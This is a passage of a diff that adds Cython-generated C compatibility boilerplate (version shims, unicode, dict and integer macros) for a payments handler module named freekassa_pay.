((type)->name) +#endif +#if PY_VERSION_HEX < 0x030700A2 && !defined(PyThread_tss_create) && !defined(Py_tss_NEEDS_INIT) +#include "pythread.h" +#define Py_tss_NEEDS_INIT 0 +typedef int Py_tss_t; +static CYTHON_INLINE int PyThread_tss_create(Py_tss_t *key) { + *key = PyThread_create_key(); + return 0; +} +static CYTHON_INLINE Py_tss_t * PyThread_tss_alloc(void) { + Py_tss_t *key = (Py_tss_t *)PyObject_Malloc(sizeof(Py_tss_t)); + *key = Py_tss_NEEDS_INIT; + return key; +} +static CYTHON_INLINE void PyThread_tss_free(Py_tss_t *key) { + PyObject_Free(key); +} +static CYTHON_INLINE int PyThread_tss_is_created(Py_tss_t *key) { + return *key != Py_tss_NEEDS_INIT; +} +static CYTHON_INLINE void PyThread_tss_delete(Py_tss_t *key) { + PyThread_delete_key(*key); + *key = Py_tss_NEEDS_INIT; +} +static CYTHON_INLINE int PyThread_tss_set(Py_tss_t *key, void *value) { + return PyThread_set_key_value(*key, value); +} +static CYTHON_INLINE void * PyThread_tss_get(Py_tss_t *key) { + return PyThread_get_key_value(*key); +} +#endif +#if PY_MAJOR_VERSION < 3 + #if CYTHON_COMPILING_IN_PYPY + #if PYPY_VERSION_NUM < 0x07030600 + #if defined(__cplusplus) && __cplusplus >= 201402L + [[deprecated("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6")]] + #elif defined(__GNUC__) || defined(__clang__) + __attribute__ ((__deprecated__("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6"))) + #elif defined(_MSC_VER) + __declspec(deprecated("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6")) + #endif + static CYTHON_INLINE int PyGILState_Check(void) { + return 0; + } + #else // PYPY_VERSION_NUM < 0x07030600 + #endif // PYPY_VERSION_NUM < 0x07030600 + #else + static CYTHON_INLINE int PyGILState_Check(void) { + PyThreadState * tstate = _PyThreadState_Current; + return tstate && (tstate == PyGILState_GetThisThreadState()); + } + #endif +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030d0000 || defined(_PyDict_NewPresized) +#define __Pyx_PyDict_NewPresized(n) ((n <= 8) ? PyDict_New() : _PyDict_NewPresized(n)) +#else +#define __Pyx_PyDict_NewPresized(n) PyDict_New() +#endif +#if PY_MAJOR_VERSION >= 3 || CYTHON_FUTURE_DIVISION + #define __Pyx_PyNumber_Divide(x,y) PyNumber_TrueDivide(x,y) + #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceTrueDivide(x,y) +#else + #define __Pyx_PyNumber_Divide(x,y) PyNumber_Divide(x,y) + #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceDivide(x,y) +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX > 0x030600B4 && PY_VERSION_HEX < 0x030d0000 && CYTHON_USE_UNICODE_INTERNALS +#define __Pyx_PyDict_GetItemStrWithError(dict, name) _PyDict_GetItem_KnownHash(dict, name, ((PyASCIIObject *) name)->hash) +static CYTHON_INLINE PyObject * __Pyx_PyDict_GetItemStr(PyObject *dict, PyObject *name) { + PyObject *res = __Pyx_PyDict_GetItemStrWithError(dict, name); + if (res == NULL) PyErr_Clear(); + return res; +} +#elif PY_MAJOR_VERSION >= 3 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07020000) +#define __Pyx_PyDict_GetItemStrWithError PyDict_GetItemWithError +#define __Pyx_PyDict_GetItemStr PyDict_GetItem +#else +static CYTHON_INLINE PyObject * __Pyx_PyDict_GetItemStrWithError(PyObject *dict, PyObject *name) { +#if CYTHON_COMPILING_IN_PYPY + return PyDict_GetItem(dict, name); +#else + PyDictEntry *ep; + PyDictObject *mp = (PyDictObject*) dict; + long hash = ((PyStringObject *) name)->ob_shash; + assert(hash != -1); + ep = (mp->ma_lookup)(mp, name, hash); + if (ep == NULL) { + return NULL; + } + return ep->me_value; +#endif +} +#define __Pyx_PyDict_GetItemStr PyDict_GetItem +#endif +#if CYTHON_USE_TYPE_SLOTS + #define __Pyx_PyType_GetFlags(tp) (((PyTypeObject *)tp)->tp_flags) + #define __Pyx_PyType_HasFeature(type, feature) ((__Pyx_PyType_GetFlags(type) & (feature)) != 0) + #define __Pyx_PyObject_GetIterNextFunc(obj) (Py_TYPE(obj)->tp_iternext) +#else + #define __Pyx_PyType_GetFlags(tp) (PyType_GetFlags((PyTypeObject *)tp)) + #define __Pyx_PyType_HasFeature(type, feature) PyType_HasFeature(type, feature) + #define __Pyx_PyObject_GetIterNextFunc(obj) PyIter_Next +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_SetItemOnTypeDict(tp, k, v) PyObject_GenericSetAttr((PyObject*)tp, k, v) +#else + #define __Pyx_SetItemOnTypeDict(tp, k, v) PyDict_SetItem(tp->tp_dict, k, v) +#endif +#if CYTHON_USE_TYPE_SPECS && PY_VERSION_HEX >= 0x03080000 +#define __Pyx_PyHeapTypeObject_GC_Del(obj) {\ + PyTypeObject *type = Py_TYPE((PyObject*)obj);\ + assert(__Pyx_PyType_HasFeature(type, Py_TPFLAGS_HEAPTYPE));\ + PyObject_GC_Del(obj);\ + Py_DECREF(type);\ +} +#else +#define __Pyx_PyHeapTypeObject_GC_Del(obj) PyObject_GC_Del(obj) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define CYTHON_PEP393_ENABLED 1 + #define __Pyx_PyUnicode_READY(op) (0) + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GetLength(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_ReadChar(u, i) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((void)u, 1114111U) + #define __Pyx_PyUnicode_KIND(u) ((void)u, (0)) + #define __Pyx_PyUnicode_DATA(u) ((void*)u) + #define __Pyx_PyUnicode_READ(k, d, i) ((void)k, PyUnicode_ReadChar((PyObject*)(d), i)) + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GetLength(u)) +#elif PY_VERSION_HEX > 0x03030000 && defined(PyUnicode_KIND) + #define CYTHON_PEP393_ENABLED 1 + #if PY_VERSION_HEX >= 0x030C0000 + #define __Pyx_PyUnicode_READY(op) (0) + #else + #define __Pyx_PyUnicode_READY(op) (likely(PyUnicode_IS_READY(op)) ?\ + 0 : _PyUnicode_Ready((PyObject *)(op))) + #endif + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_LENGTH(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_READ_CHAR(u, i) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) PyUnicode_MAX_CHAR_VALUE(u) + #define __Pyx_PyUnicode_KIND(u) ((int)PyUnicode_KIND(u)) + #define __Pyx_PyUnicode_DATA(u) PyUnicode_DATA(u) + #define __Pyx_PyUnicode_READ(k, d, i) PyUnicode_READ(k, d, i) + #define __Pyx_PyUnicode_WRITE(k, d, i, ch) PyUnicode_WRITE(k, d, i, (Py_UCS4) ch) + #if PY_VERSION_HEX >= 0x030C0000 + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_LENGTH(u)) + #else + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03090000 + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : ((PyCompactUnicodeObject *)(u))->wstr_length)) + #else + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : PyUnicode_GET_SIZE(u))) + #endif + #endif +#else + #define CYTHON_PEP393_ENABLED 0 + #define PyUnicode_1BYTE_KIND 1 + #define PyUnicode_2BYTE_KIND 2 + #define PyUnicode_4BYTE_KIND 4 + #define __Pyx_PyUnicode_READY(op) (0) + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_SIZE(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) ((Py_UCS4)(PyUnicode_AS_UNICODE(u)[i])) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((sizeof(Py_UNICODE) == 2) ? 65535U : 1114111U) + #define __Pyx_PyUnicode_KIND(u) ((int)sizeof(Py_UNICODE)) + #define __Pyx_PyUnicode_DATA(u) ((void*)PyUnicode_AS_UNICODE(u)) + #define __Pyx_PyUnicode_READ(k, d, i) ((void)(k), (Py_UCS4)(((Py_UNICODE*)d)[i])) + #define __Pyx_PyUnicode_WRITE(k, d, i, ch) (((void)(k)), ((Py_UNICODE*)d)[i] = (Py_UNICODE) ch) + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_SIZE(u)) +#endif +#if CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyUnicode_Concat(a, b) PyNumber_Add(a, b) + #define __Pyx_PyUnicode_ConcatSafe(a, b) PyNumber_Add(a, b) +#else + #define __Pyx_PyUnicode_Concat(a, b) PyUnicode_Concat(a, b) + #define __Pyx_PyUnicode_ConcatSafe(a, b) ((unlikely((a) == Py_None) || unlikely((b) == Py_None)) ?\ + PyNumber_Add(a, b) : __Pyx_PyUnicode_Concat(a, b)) +#endif +#if CYTHON_COMPILING_IN_PYPY + #if !defined(PyUnicode_DecodeUnicodeEscape) + #define PyUnicode_DecodeUnicodeEscape(s, size, errors) PyUnicode_Decode(s, size, "unicode_escape", errors) + #endif + #if !defined(PyUnicode_Contains) || (PY_MAJOR_VERSION == 2 && PYPY_VERSION_NUM < 0x07030500) + #undef PyUnicode_Contains + #define PyUnicode_Contains(u, s) PySequence_Contains(u, s) + #endif + #if !defined(PyByteArray_Check) + #define PyByteArray_Check(obj) PyObject_TypeCheck(obj, &PyByteArray_Type) + #endif + #if !defined(PyObject_Format) + #define PyObject_Format(obj, fmt) PyObject_CallMethod(obj, "__format__", "O", fmt) + #endif +#endif +#define __Pyx_PyString_FormatSafe(a, b) ((unlikely((a) == Py_None || (PyString_Check(b) && !PyString_CheckExact(b)))) ? PyNumber_Remainder(a, b) : __Pyx_PyString_Format(a, b)) +#define __Pyx_PyUnicode_FormatSafe(a, b) ((unlikely((a) == Py_None || (PyUnicode_Check(b) && !PyUnicode_CheckExact(b)))) ? PyNumber_Remainder(a, b) : PyUnicode_Format(a, b)) +#if PY_MAJOR_VERSION >= 3 + #define __Pyx_PyString_Format(a, b) PyUnicode_Format(a, b) +#else + #define __Pyx_PyString_Format(a, b) PyString_Format(a, b) +#endif +#if PY_MAJOR_VERSION < 3 && !defined(PyObject_ASCII) + #define PyObject_ASCII(o) PyObject_Repr(o) +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyBaseString_Type PyUnicode_Type + #define PyStringObject PyUnicodeObject + #define PyString_Type PyUnicode_Type + #define PyString_Check PyUnicode_Check + #define PyString_CheckExact PyUnicode_CheckExact +#ifndef PyObject_Unicode + #define PyObject_Unicode PyObject_Str +#endif +#endif +#if PY_MAJOR_VERSION >= 3 + #define __Pyx_PyBaseString_Check(obj) PyUnicode_Check(obj) + #define __Pyx_PyBaseString_CheckExact(obj) PyUnicode_CheckExact(obj) +#else + #define __Pyx_PyBaseString_Check(obj) (PyString_Check(obj) || PyUnicode_Check(obj)) + #define __Pyx_PyBaseString_CheckExact(obj) (PyString_CheckExact(obj) || PyUnicode_CheckExact(obj)) +#endif +#if CYTHON_COMPILING_IN_CPYTHON + #define __Pyx_PySequence_ListKeepNew(obj)\ + (likely(PyList_CheckExact(obj) && Py_REFCNT(obj) == 1) ? __Pyx_NewRef(obj) : PySequence_List(obj)) +#else + #define __Pyx_PySequence_ListKeepNew(obj) PySequence_List(obj) +#endif +#ifndef PySet_CheckExact + #define PySet_CheckExact(obj) __Pyx_IS_TYPE(obj, &PySet_Type) +#endif +#if PY_VERSION_HEX >= 0x030900A4 + #define __Pyx_SET_REFCNT(obj, refcnt) Py_SET_REFCNT(obj, refcnt) + #define __Pyx_SET_SIZE(obj, size) Py_SET_SIZE(obj, size) +#else + #define __Pyx_SET_REFCNT(obj, refcnt) Py_REFCNT(obj) = (refcnt) + #define __Pyx_SET_SIZE(obj, size) Py_SIZE(obj) = (size) +#endif +#if CYTHON_ASSUME_SAFE_MACROS + #define __Pyx_PySequence_ITEM(o, i) PySequence_ITEM(o, i) + #define __Pyx_PySequence_SIZE(seq) Py_SIZE(seq) + #define __Pyx_PyTuple_SET_ITEM(o, i, v) (PyTuple_SET_ITEM(o, i, v), (0)) + #define __Pyx_PyList_SET_ITEM(o, i, v) (PyList_SET_ITEM(o, i, v), (0)) + #define __Pyx_PyTuple_GET_SIZE(o) PyTuple_GET_SIZE(o) + #define __Pyx_PyList_GET_SIZE(o) PyList_GET_SIZE(o) + #define __Pyx_PySet_GET_SIZE(o) PySet_GET_SIZE(o) + #define __Pyx_PyBytes_GET_SIZE(o) PyBytes_GET_SIZE(o) + #define __Pyx_PyByteArray_GET_SIZE(o) PyByteArray_GET_SIZE(o) +#else + #define __Pyx_PySequence_ITEM(o, i) PySequence_GetItem(o, i) + #define __Pyx_PySequence_SIZE(seq) PySequence_Size(seq) + #define __Pyx_PyTuple_SET_ITEM(o, i, v) PyTuple_SetItem(o, i, v) + #define __Pyx_PyList_SET_ITEM(o, i, v) PyList_SetItem(o, i, v) + #define __Pyx_PyTuple_GET_SIZE(o) PyTuple_Size(o) + #define __Pyx_PyList_GET_SIZE(o) PyList_Size(o) + #define __Pyx_PySet_GET_SIZE(o) PySet_Size(o) + #define __Pyx_PyBytes_GET_SIZE(o) PyBytes_Size(o) + #define __Pyx_PyByteArray_GET_SIZE(o) PyByteArray_Size(o) +#endif +#if __PYX_LIMITED_VERSION_HEX >= 0x030d00A1 + #define __Pyx_PyImport_AddModuleRef(name) PyImport_AddModuleRef(name) +#else + static CYTHON_INLINE PyObject *__Pyx_PyImport_AddModuleRef(const char *name) { + PyObject *module = PyImport_AddModule(name); + Py_XINCREF(module); + return module; + } +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyIntObject PyLongObject + #define PyInt_Type PyLong_Type + #define PyInt_Check(op) PyLong_Check(op) + #define PyInt_CheckExact(op) PyLong_CheckExact(op) + #define __Pyx_Py3Int_Check(op) PyLong_Check(op) + #define __Pyx_Py3Int_CheckExact(op) PyLong_CheckExact(op) + #define PyInt_FromString PyLong_FromString + #define PyInt_FromUnicode PyLong_FromUnicode + #define PyInt_FromLong PyLong_FromLong + #define PyInt_FromSize_t PyLong_FromSize_t + #define PyInt_FromSsize_t PyLong_FromSsize_t + #define PyInt_AsLong PyLong_AsLong + #define PyInt_AS_LONG PyLong_AS_LONG + #define PyInt_AsSsize_t PyLong_AsSsize_t + #define PyInt_AsUnsignedLongMask PyLong_AsUnsignedLongMask + #define PyInt_AsUnsignedLongLongMask PyLong_AsUnsignedLongLongMask + #define PyNumber_Int PyNumber_Long +#else + #define __Pyx_Py3Int_Check(op) (PyLong_Check(op) || PyInt_Check(op)) + #define __Pyx_Py3Int_CheckExact(op) (PyLong_CheckExact(op) || PyInt_CheckExact(op)) +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyBoolObject PyLongObject +#endif +#if PY_MAJOR_VERSION >= 3 && CYTHON_COMPILING_IN_PYPY + #ifndef PyUnicode_InternFromString + #define PyUnicode_InternFromString(s) PyUnicode_FromString(s) + #endif +#endif +#if PY_VERSION_HEX < 0x030200A4 + typedef long Py_hash_t; + #define __Pyx_PyInt_FromHash_t PyInt_FromLong + #define __Pyx_PyInt_AsHash_t __Pyx_PyIndex_AsHash_t +#else + #define __Pyx_PyInt_FromHash_t PyInt_FromSsize_t + #define __Pyx_PyInt_AsHash_t __Pyx_PyIndex_AsSsize_t +#endif +#if CYTHON_USE_ASYNC_SLOTS + #if PY_VERSION_HEX >= 0x030500B1 + #define __Pyx_PyAsyncMethodsStruct PyAsyncMethods + #define __Pyx_PyType_AsAsync(obj) (Py_TYPE(obj)->tp_as_async) + #else + #define __Pyx_PyType_AsAsync(obj) ((__Pyx_PyAsyncMethodsStruct*) (Py_TYPE(obj)->tp_reserved)) + #endif +#else + #define __Pyx_PyType_AsAsync(obj) NULL +#endif +#ifndef __Pyx_PyAsyncMethodsStruct + typedef struct { + unaryfunc am_await; + unaryfunc am_aiter; + unaryfunc am_anext; + } __Pyx_PyAsyncMethodsStruct; +#endif + +#if defined(_WIN32) || defined(WIN32) || defined(MS_WINDOWS) + #if !defined(_USE_MATH_DEFINES) + #define _USE_MATH_DEFINES + #endif +#endif +#include +#ifdef NAN +#define __PYX_NAN() ((float) NAN) +#else +static CYTHON_INLINE float __PYX_NAN() { + float value; + memset(&value, 0xFF, sizeof(value)); + return value; +} +#endif +#if defined(__CYGWIN__) && defined(_LDBL_EQ_DBL) +#define __Pyx_truncl trunc +#else +#define __Pyx_truncl truncl +#endif + +#define __PYX_MARK_ERR_POS(f_index, lineno) \ + { __pyx_filename = __pyx_f[f_index]; (void)__pyx_filename; __pyx_lineno = lineno; (void)__pyx_lineno; __pyx_clineno = __LINE__; (void)__pyx_clineno; } +#define __PYX_ERR(f_index, lineno, Ln_error) \ + { __PYX_MARK_ERR_POS(f_index, lineno) goto Ln_error; } + +#ifdef CYTHON_EXTERN_C + #undef __PYX_EXTERN_C + #define __PYX_EXTERN_C CYTHON_EXTERN_C +#elif defined(__PYX_EXTERN_C) + #ifdef _MSC_VER + #pragma message ("Please do not define the '__PYX_EXTERN_C' macro externally. Use 'CYTHON_EXTERN_C' instead.") + #else + #warning Please do not define the '__PYX_EXTERN_C' macro externally. Use 'CYTHON_EXTERN_C' instead. + #endif +#else + #ifdef __cplusplus + #define __PYX_EXTERN_C extern "C" + #else + #define __PYX_EXTERN_C extern + #endif +#endif + +#define __PYX_HAVE__handlers__payments__freekassa_pay +#define __PYX_HAVE_API__handlers__payments__freekassa_pay +/* Early includes */ +#ifdef _OPENMP +#include +#endif /* _OPENMP */ + +#if defined(PYREX_WITHOUT_ASSERTIONS) && !defined(CYTHON_WITHOUT_ASSERTIONS) +#define CYTHON_WITHOUT_ASSERTIONS +#endif + +typedef struct {PyObject **p; const char *s; const Py_ssize_t n; const char* encoding; + const char is_unicode; const char is_str; const char intern; } __Pyx_StringTabEntry; + +#define __PYX_DEFAULT_STRING_ENCODING_IS_ASCII 0 +#define __PYX_DEFAULT_STRING_ENCODING_IS_UTF8 0 +#define __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT (PY_MAJOR_VERSION >= 3 && __PYX_DEFAULT_STRING_ENCODING_IS_UTF8) +#define __PYX_DEFAULT_STRING_ENCODING "" +#define __Pyx_PyObject_FromString __Pyx_PyBytes_FromString +#define __Pyx_PyObject_FromStringAndSize __Pyx_PyBytes_FromStringAndSize +#define __Pyx_uchar_cast(c) ((unsigned char)c) +#define __Pyx_long_cast(x) ((long)x) +#define __Pyx_fits_Py_ssize_t(v, type, is_signed) (\ + (sizeof(type) < sizeof(Py_ssize_t)) ||\ + (sizeof(type) > sizeof(Py_ssize_t) &&\ + likely(v < (type)PY_SSIZE_T_MAX ||\ + v == (type)PY_SSIZE_T_MAX) &&\ + (!is_signed || likely(v > (type)PY_SSIZE_T_MIN ||\ + v == (type)PY_SSIZE_T_MIN))) ||\ + (sizeof(type) == sizeof(Py_ssize_t) &&\ + (is_signed || likely(v < (type)PY_SSIZE_T_MAX ||\ + v == (type)PY_SSIZE_T_MAX))) ) +static CYTHON_INLINE int __Pyx_is_valid_index(Py_ssize_t i, Py_ssize_t limit) { + return (size_t) i < (size_t) limit; +} +#if defined (__cplusplus) && __cplusplus >= 201103L + #include + #define __Pyx_sst_abs(value) std::abs(value) +#elif SIZEOF_INT >= SIZEOF_SIZE_T + #define __Pyx_sst_abs(value) abs(value) +#elif SIZEOF_LONG >= SIZEOF_SIZE_T + #define __Pyx_sst_abs(value) labs(value) +#elif defined (_MSC_VER) + #define __Pyx_sst_abs(value) ((Py_ssize_t)_abs64(value)) +#elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define __Pyx_sst_abs(value) llabs(value) +#elif defined (__GNUC__) + #define __Pyx_sst_abs(value) __builtin_llabs(value) +#else + #define __Pyx_sst_abs(value) ((value<0) ? -value : value) +#endif +static CYTHON_INLINE Py_ssize_t __Pyx_ssize_strlen(const char *s); +static CYTHON_INLINE const char* __Pyx_PyObject_AsString(PyObject*); +static CYTHON_INLINE const char* __Pyx_PyObject_AsStringAndSize(PyObject*, Py_ssize_t* length); +static CYTHON_INLINE PyObject* __Pyx_PyByteArray_FromString(const char*); +#define __Pyx_PyByteArray_FromStringAndSize(s, l) PyByteArray_FromStringAndSize((const char*)s, l) +#define __Pyx_PyBytes_FromString PyBytes_FromString +#define __Pyx_PyBytes_FromStringAndSize PyBytes_FromStringAndSize +static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char*); +#if PY_MAJOR_VERSION < 3 + #define __Pyx_PyStr_FromString __Pyx_PyBytes_FromString + #define __Pyx_PyStr_FromStringAndSize __Pyx_PyBytes_FromStringAndSize +#else + #define __Pyx_PyStr_FromString __Pyx_PyUnicode_FromString + #define __Pyx_PyStr_FromStringAndSize __Pyx_PyUnicode_FromStringAndSize +#endif +#define __Pyx_PyBytes_AsWritableString(s) ((char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsWritableSString(s) ((signed char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsWritableUString(s) ((unsigned char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsString(s) ((const char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsSString(s) ((const signed char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsUString(s) ((const unsigned char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyObject_AsWritableString(s) ((char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsWritableSString(s) ((signed char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsWritableUString(s) ((unsigned char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsSString(s) ((const signed char*) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsUString(s) ((const unsigned char*) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_FromCString(s) __Pyx_PyObject_FromString((const char*)s) +#define __Pyx_PyBytes_FromCString(s) __Pyx_PyBytes_FromString((const char*)s) +#define __Pyx_PyByteArray_FromCString(s) __Pyx_PyByteArray_FromString((const char*)s) +#define __Pyx_PyStr_FromCString(s) __Pyx_PyStr_FromString((const char*)s) +#define __Pyx_PyUnicode_FromCString(s) __Pyx_PyUnicode_FromString((const char*)s) +#define __Pyx_PyUnicode_FromOrdinal(o) PyUnicode_FromOrdinal((int)o) +#define __Pyx_PyUnicode_AsUnicode PyUnicode_AsUnicode +#define __Pyx_NewRef(obj) (Py_INCREF(obj), obj) +#define __Pyx_Owned_Py_None(b) __Pyx_NewRef(Py_None) +static CYTHON_INLINE PyObject * __Pyx_PyBool_FromLong(long b); +static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject*); +static CYTHON_INLINE int __Pyx_PyObject_IsTrueAndDecref(PyObject*); +static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x); +#define __Pyx_PySequence_Tuple(obj)\ + (likely(PyTuple_CheckExact(obj)) ? __Pyx_NewRef(obj) : PySequence_Tuple(obj)) +static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject*); +static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t); +static CYTHON_INLINE Py_hash_t __Pyx_PyIndex_AsHash_t(PyObject*); +#if CYTHON_ASSUME_SAFE_MACROS +#define __pyx_PyFloat_AsDouble(x) (PyFloat_CheckExact(x) ? PyFloat_AS_DOUBLE(x) : PyFloat_AsDouble(x)) +#else +#define __pyx_PyFloat_AsDouble(x) PyFloat_AsDouble(x) +#endif +#define __pyx_PyFloat_AsFloat(x) ((float) __pyx_PyFloat_AsDouble(x)) +#if PY_MAJOR_VERSION >= 3 +#define __Pyx_PyNumber_Int(x) (PyLong_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Long(x)) +#else +#define __Pyx_PyNumber_Int(x) (PyInt_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Int(x)) +#endif +#if CYTHON_USE_PYLONG_INTERNALS + #if PY_VERSION_HEX >= 0x030C00A7 + #ifndef _PyLong_SIGN_MASK + #define _PyLong_SIGN_MASK 3 + #endif + #ifndef _PyLong_NON_SIZE_BITS + #define _PyLong_NON_SIZE_BITS 3 + #endif + #define __Pyx_PyLong_Sign(x) (((PyLongObject*)x)->long_value.lv_tag & _PyLong_SIGN_MASK) + #define __Pyx_PyLong_IsNeg(x) ((__Pyx_PyLong_Sign(x) & 2) != 0) + #define __Pyx_PyLong_IsNonNeg(x) (!__Pyx_PyLong_IsNeg(x)) + #define __Pyx_PyLong_IsZero(x) (__Pyx_PyLong_Sign(x) & 1) + #define __Pyx_PyLong_IsPos(x) (__Pyx_PyLong_Sign(x) == 0) + #define __Pyx_PyLong_CompactValueUnsigned(x) (__Pyx_PyLong_Digits(x)[0]) + #define __Pyx_PyLong_DigitCount(x) ((Py_ssize_t) (((PyLongObject*)x)->long_value.lv_tag >> _PyLong_NON_SIZE_BITS)) + #define __Pyx_PyLong_SignedDigitCount(x)\ + ((1 - (Py_ssize_t) __Pyx_PyLong_Sign(x)) * __Pyx_PyLong_DigitCount(x)) + #if defined(PyUnstable_Long_IsCompact) && defined(PyUnstable_Long_CompactValue) + #define __Pyx_PyLong_IsCompact(x) PyUnstable_Long_IsCompact((PyLongObject*) x) + #define __Pyx_PyLong_CompactValue(x) PyUnstable_Long_CompactValue((PyLongObject*) x) + #else + #define __Pyx_PyLong_IsCompact(x) (((PyLongObject*)x)->long_value.lv_tag < (2 << _PyLong_NON_SIZE_BITS)) + #define __Pyx_PyLong_CompactValue(x) ((1 - (Py_ssize_t) __Pyx_PyLong_Sign(x)) * (Py_ssize_t) __Pyx_PyLong_Digits(x)[0]) + #endif + typedef Py_ssize_t __Pyx_compact_pylong; + typedef size_t __Pyx_compact_upylong; + #else + #define __Pyx_PyLong_IsNeg(x) (Py_SIZE(x) < 0) + #define __Pyx_PyLong_IsNonNeg(x) (Py_SIZE(x) >= 0) + #define __Pyx_PyLong_IsZero(x) (Py_SIZE(x) == 0) + #define __Pyx_PyLong_IsPos(x) (Py_SIZE(x) > 0) + #define __Pyx_PyLong_CompactValueUnsigned(x) ((Py_SIZE(x) == 0) ? 0 : __Pyx_PyLong_Digits(x)[0]) + #define __Pyx_PyLong_DigitCount(x) __Pyx_sst_abs(Py_SIZE(x)) + #define __Pyx_PyLong_SignedDigitCount(x) Py_SIZE(x) + #define __Pyx_PyLong_IsCompact(x) (Py_SIZE(x) == 0 || Py_SIZE(x) == 1 || Py_SIZE(x) == -1) + #define __Pyx_PyLong_CompactValue(x)\ + ((Py_SIZE(x) == 0) ? (sdigit) 0 : ((Py_SIZE(x) < 0) ? -(sdigit)__Pyx_PyLong_Digits(x)[0] : (sdigit)__Pyx_PyLong_Digits(x)[0])) + typedef sdigit __Pyx_compact_pylong; + typedef digit __Pyx_compact_upylong; + #endif + #if PY_VERSION_HEX >= 0x030C00A5 + #define __Pyx_PyLong_Digits(x) (((PyLongObject*)x)->long_value.ob_digit) + #else + #define __Pyx_PyLong_Digits(x) (((PyLongObject*)x)->ob_digit) + #endif +#endif +#if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII +#include +static int __Pyx_sys_getdefaultencoding_not_ascii; +static int __Pyx_init_sys_getdefaultencoding_params(void) { + PyObject* sys; + PyObject* default_encoding = NULL; + PyObject* ascii_chars_u = NULL; + PyObject* ascii_chars_b = NULL; + const char* default_encoding_c; + sys = PyImport_ImportModule("sys"); + if (!sys) goto bad; + default_encoding = PyObject_CallMethod(sys, (char*) "getdefaultencoding", NULL); + Py_DECREF(sys); + if (!default_encoding) goto bad; + default_encoding_c = PyBytes_AsString(default_encoding); + if (!default_encoding_c) goto bad; + if (strcmp(default_encoding_c, "ascii") == 0) { + __Pyx_sys_getdefaultencoding_not_ascii = 0; + } else { + char ascii_chars[128]; + int c; + for (c = 0; c < 128; c++) { + ascii_chars[c] = (char) c; + } + __Pyx_sys_getdefaultencoding_not_ascii = 1; + ascii_chars_u = PyUnicode_DecodeASCII(ascii_chars, 128, NULL); + if (!ascii_chars_u) goto bad; + ascii_chars_b = PyUnicode_AsEncodedString(ascii_chars_u, default_encoding_c, NULL); + if (!ascii_chars_b || !PyBytes_Check(ascii_chars_b) || memcmp(ascii_chars, PyBytes_AS_STRING(ascii_chars_b), 128) != 0) { + PyErr_Format( + PyExc_ValueError, + "This module compiled with c_string_encoding=ascii, but default encoding '%.200s' is not a superset of ascii.", + default_encoding_c); + goto bad; + } + Py_DECREF(ascii_chars_u); + Py_DECREF(ascii_chars_b); + } + Py_DECREF(default_encoding); + return 0; +bad: + Py_XDECREF(default_encoding); + Py_XDECREF(ascii_chars_u); + Py_XDECREF(ascii_chars_b); + return -1; +} +#endif +#if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT && PY_MAJOR_VERSION >= 3 +#define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_DecodeUTF8(c_str, size, NULL) +#else +#define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_Decode(c_str, size, __PYX_DEFAULT_STRING_ENCODING, NULL) +#if 